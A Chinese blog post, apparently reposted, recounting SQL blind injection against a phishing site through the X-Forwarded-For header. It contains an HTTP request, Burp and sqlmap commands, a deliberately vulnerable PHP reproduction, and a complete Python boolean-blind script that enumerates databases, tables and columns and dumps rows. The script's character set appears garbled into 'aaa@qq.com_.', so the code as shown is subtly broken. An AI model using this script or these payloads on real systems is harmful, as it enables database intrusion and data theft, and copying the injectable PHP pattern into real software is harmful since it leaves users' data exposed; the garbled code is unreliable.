欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

记一次sql盲注脚本编写(复现的sql注入)

程序员文章站 2022-05-28 11:03:22
...

前言

记一次sql盲注脚本编写(复现的sql注入)
同学发给我一个钓鱼网站,打开经过简单的测试发现没什么漏洞,但是还不想放手,所以就尝试了一下referer还有数据包中不存在的xff头

开始测试

已经修改了网站的具体信息这里只是做一个演示

POST /sql.php HTTP/1.1
Host: x.x.cn
Content-Length: 35
Cache-Control: max-age=0
Origin: http://x.x.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://x.x.cn/
X-Forwarded-For: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=o745hanc51223ovpucd0s4kgk2
Connection: close

u=45345345&p=45345345&bianhao=1&a=1

使用burp测试

1’ or 1=‘2
记一次sql盲注脚本编写(复现的sql注入)
1’ or 1='1
记一次sql盲注脚本编写(复现的sql注入)

使用sqlmap命令

sqlmap.py -r 12.txt -p X-Forwarded-For --dbms mysql

结果只有时间盲注

记一次sql盲注脚本编写(复现的sql注入)
明明存在注入,但是sqlmap没有检测出来,于是想根据响应码来进行bool注入

复现漏洞

php文件

<?php 
error_reporting(0);
if(!empty($_POST['a']))
{
	$a=$_POST['a'];
	if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
	{
		$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
		$con = mysqli_connect("localhost","root","root","test");
		$sql="select * from book where Book_id='$ip'";
		//echo $sql;
		$result = mysqli_query($con,$sql);
		if (mysqli_num_rows($result)>0)
		{
			//echo $a;
			header('Vary: Accept-Encoding');
		}
		else
		{
			header('Location: test.php');
		}
	}
	else
	{
			echo $a;
	}
}
?>

数据表

记一次sql盲注脚本编写(复现的sql注入)

bool注入脚本

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import urllib


data="u=45345345&p=45345345&bianhao=1&a=1"

def database_length(url):
    for i in range(1, 100):
        xkey = "1' or (select length(database()))=%s#" % i
        headers = {'Content-Type': 'application/x-www-form-urlencoded','X-Forwarded-For': xkey}
        response = requests.post(url=url, data=data, headers=headers,allow_redirects=False)
        #print(response)
        if response.status_code==200:
            return i


def database_name(url):
    payloads = 'aaa@qq.com_.'
    databasename = ''
    aa = database_length(url)
    for i in range(1, aa + 1):
        for payload in payloads:
            xkey = "1' or ascii(substring(database(),%s,1))=%s#" % (i, ord(payload))
            headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
            response = requests.post(url=url, data=data, headers=headers,allow_redirects=False)
            if response.status_code==200:
                databasename += payload
                break
    return databasename




def table_count(url, database):
    for i in range(1, 100):
        xkey = "1' or (select count(table_name) from information_schema.tables where table_schema=" + "'" + database + "')" + "=%s#" % i
        headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
        response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
        if response.status_code==200:
            return i


def table_length(url, a, database):
    for i in range(1, 100):
        xkey = "1' or (select length(table_name) from information_schema.tables where table_schema=" + "'" + database + "'" + " limit %s,1)=%s#" % (a, i)
        headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
        response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
        if response.status_code==200:
            return i


def table_name(url, database):
    payloads = 'aaa@qq.com_.'
    table_name = []
    bb = table_count(url, database)
    for i in range(0, bb + 1):
        user = ''
        cc = table_length(url, i, database)
        if cc == None:
            break
        for j in range(0, cc + 1):
            for payload in payloads:
                xkey = "1' or ascii(substring((select table_name from information_schema.tables where table_schema=" + "'" + database + "'" + " limit %s,1),%s,1))=%s#" % (i, j, ord(payload))
                headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
                response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
                if response.status_code==200:
                    user += payload
                    break
                    # print payload
        table_name.append(user)
    return table_name




def column_count(url, table_name):
    for i in range(1, 100):
        xkey = "1' or (select count(column_name) from information_schema.columns where table_name=" + "'" + table_name + "'" + ")=%s#" % i
        headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
        response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
        if response.status_code==200:
            return i


def column_length(num, url, table_name):
    for i in range(1, 100):
        limit = " limit %s,1)=%s" % (num, i)
        xkey = "1' or (select length(column_name) from information_schema.columns where table_name=" + "'" + table_name + "'" + limit+"#"
        headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
        response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
        if response.status_code==200:
            return i


def column_name(url, table_name):
    payloads = 'aaa@qq.com_.'
    column_name = []
    dd = column_count(url, table_name)
    for i in range(0, dd + 1):
        user = ''
        bb = column_length(i, url, table_name)
        if bb == None:
            break
        for j in range(0, bb + 1):
            for payload in payloads:
                limit = " limit %s,1),%s,1))=%s" % (i, j, ord(payload))
                xkey = "1' or ascii(substring((select column_name from information_schema.columns where table_name=" + "'" + table_name + "'" + limit+"#"
                headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
                response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
                if response.status_code==200:
                    user += payload
                    break
        column_name.append(user)
    return column_name


def data_count(url, table,column):
    for i in range(1, 100):
        xkey = "1' or (select count("+column+") from "+table+")=%s#" % i
        headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
        response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
        if response.status_code==200:
            return i


def data_length(num, url, table,column):
    for i in range(1, 100):
        limit = " limit %s,1)=%s" % (num, i)
        xkey = "1' or (select length("+column+") from "+table+limit+"#"
        headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
        response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
        if response.status_code==200:
            return i


def data_data(url, table,column):
    payloads = 'aaa@qq.com_.'
    data_data = []
    dd = data_count(url, table,column)
    for i in range(0, dd + 1):
        user = ''
        bb = data_length(i, url, table,column)
        if bb == None:
            break
        for j in range(0, bb + 1):
            for payload in payloads:
                limit = " limit %s,1),%s,1))=%s" % (i, j, ord(payload))
                xkey = "1' or ascii(substring((select "+column+" from " + table + limit+"#"
                headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
                response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
                if response.status_code==200:
                    user += payload
                    break
        data_data.append(user)
    return data_data

def data_dataall(url, table,column,line,count):
    payloads = 'aaa@qq.com_.'
    user = ''
    bb = data_length(line, url, table,column)
    for j in range(0, bb + 1):
        for payload in payloads:
            limit = " limit %s,1),%s,1))=%s" % (line, j, ord(payload))
            xkey = "1' or ascii(substring((select "+column+" from " + table + limit+"#"
            headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
            response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
            if response.status_code==200:
                user += payload
                break
    return user

if __name__ == '__main__':
    url = 'http://192.168.164.138/test.php'
    databasename = database_name(url)
    print "The current database:" + databasename
    database = raw_input("Please input your databasename: ")
    databasedata = {}
    tables = table_name(url, database)
    print database + " have the tables:",
    print tables
    for table in tables:
        k={}
        column1=[]
        print table + " have the columns:"
        column1=column_name(url, table)
        for j in range(0, len(column1)):
            k[j+1] = column1[j]
        databasedata[table]=k
        print column1
    print(databasedata)
    databasedata={'123': {1: 'id'}, 'book': {1: 'book_id', 2: 'price'}}
    while 1:
        print "请输入你要读取的表名"
        table = raw_input("Please input your table_name: ")
        if databasedata.has_key(table)!=False:
            break

    column = raw_input("Please input your column_name: ")
    if len(column)>0:
        print column+"have the data:"
        print data_data(url, table, column)
    else:
        count=data_count(url, table, databasedata[table][1])
        print "count="+str(count)
        dataline="count  "
        for i in range(0, len(databasedata[table])):
            dataline=dataline+databasedata[table][i+1]+"  "
        print dataline
        for line in range(0,count):
            dataline=str(line)+"  "
            for i in range(0, len(databasedata[table])):
                dataline+=data_dataall(url, table, databasedata[table][i+1], str(line), count)+"  "
            print dataline



结果

记一次sql盲注脚本编写(复现的sql注入)

结束

sqlmap有一个参数是risk,这个是使用的payload的数量,等级越高测试的payload越多,对数据产生影响的可能性越大
最后使用sqlmap命令

sqlmap.py -r 12.txt -p X-Forwarded-For --dbms mysql --technique=B --risk 3

记一次sql盲注脚本编写(复现的sql注入)
这种钓鱼站基本都是来假装官方网址盗取用户账号密码,在输入密码之前一定要保证网络可信,可以提前查看一下域名是否为官方域名,再输入密码。